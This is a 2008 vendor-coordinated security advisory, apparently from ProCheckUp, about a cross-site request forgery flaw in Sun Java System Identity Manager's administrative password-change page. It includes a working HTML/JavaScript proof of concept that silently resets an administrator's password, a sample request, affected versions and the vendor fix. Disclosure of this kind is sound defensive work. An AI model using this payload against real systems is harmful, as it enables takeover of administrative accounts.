Events
-
PCI DSS User Group meeting
Neira Jones will be speaking on Barclaycards current approach to PCI and offering advice and guidance to merchants.
Click here to see more events.
Vulnerabilities 2008
PR07-11 Cross-site Request Forgery (CSRF) on Sun Java System Identity Manager
- Advisory publicly released: Monday, 10 November 2008
- Vulnerability found: Monday, 11 June 2007
- Vendor informed: Monday, 18 June 2007
- Severity level: Medium/High
-
Credits
Adrian Pastor and Jan Fry of ProCheckUp Ltd (www.procheckup.com).
ProCheckUp thanks Sun for working with us. -
Description
Sun Java System Identity Manager is vulnerable to CSRF within the administrative "update password" feature ("/idm/admin/changeself.jsp").
The "update password" request is not tokenized using non-predictable values. Additionally, the administrative user is not asked to enter the previous password before updating it. Since the request is completely predictable it is vulnerable to CSRF. -
Proof of concept
Although the original request is submitted as a 'POST', it can be also converted to a 'GET'. The following PoC forges the "update password" request as a 'GET'.
<html>
<h1>CSRF attack demo - changes administrative password to 'Password19'</h1>
<script>
var img = new Image();
img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Password19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true';
</script>
</html> -
How to fix
Apply the patches released by Sun. This vulnerability has been filed as Sun Bugzilla bug 16703.
http://sunsolve.sun.com/search/document.do?assetkey=1-26-243386-1 -
BID
32262 -
Consequences
Attackers can hijack administrative accounts by convincing an administrative user to visit a malicious HTML page while being authenticated to Sun Java System Identity Manager.
Example of "update password" request:
POST /idm/admin/changeself.jsp HTTP/1.1
Host: target.tld
Content-Length: 181
Cookie: JSESSIONID=E291DB92432831FC109C4214D8C8C8D7
id=&command=Save&activeControl=&resourceAccounts.password=Password1&resourceAccounts.confirmPassword=Password1&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true -
Notes
1. the 'resourceAccounts.currentResourceAccounts%5BLighthouse%5D' parameter is a constant (never changes).
2. There are also other requests that are vulnerable to CSRF, but this advisory only discusses the most interesting one (from a security point of view).
3. This risk of this vulnerability can be mitigated by enabling passphrase authentication on System Identity Manager. This way, users would need to enter their username, password, and two random characters of their secret passphrase. This means that even if the "update password" request was successfully CSRFed, the attacker would still need to know the victim administrator's passphrase to login. -
Successfully tested on
Server environment:
Sun Java System Identity Manager 6.0 (20061212 SP 2)
Apache-Coyote/1.1
Apache Tomcat/5.0.28
Client environment:
Microsoft Internet Explorer 7.0.5730.11
Note: the version of Sun Java SIM can be obtained from the HTML source code of the user login page: "/idm/user/login.jsp". i.e.:
[snip]
<a onmouseover="return overlib('Open <b>Help</b><br>Version
Sun Java System Identity Manager 6.0 (20061212 SP 2)',
FGCOLOR, '#F5F5DC',[snip]
BGCOLOR, '#000000',
DELAY, '750')"
Sun has confirmed the following products to be affected by this issue:
Sun Java System Identity Manager 6.0, Sun Java System Identity Manager 7.0, Sun Java System Identity Manager 7.1 -
References
http://www.procheckup.com/vulnerability_manager
http://www.sun.com/software/products/identity_mgr/index.xml
-
Legal
Copyright 2008 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.
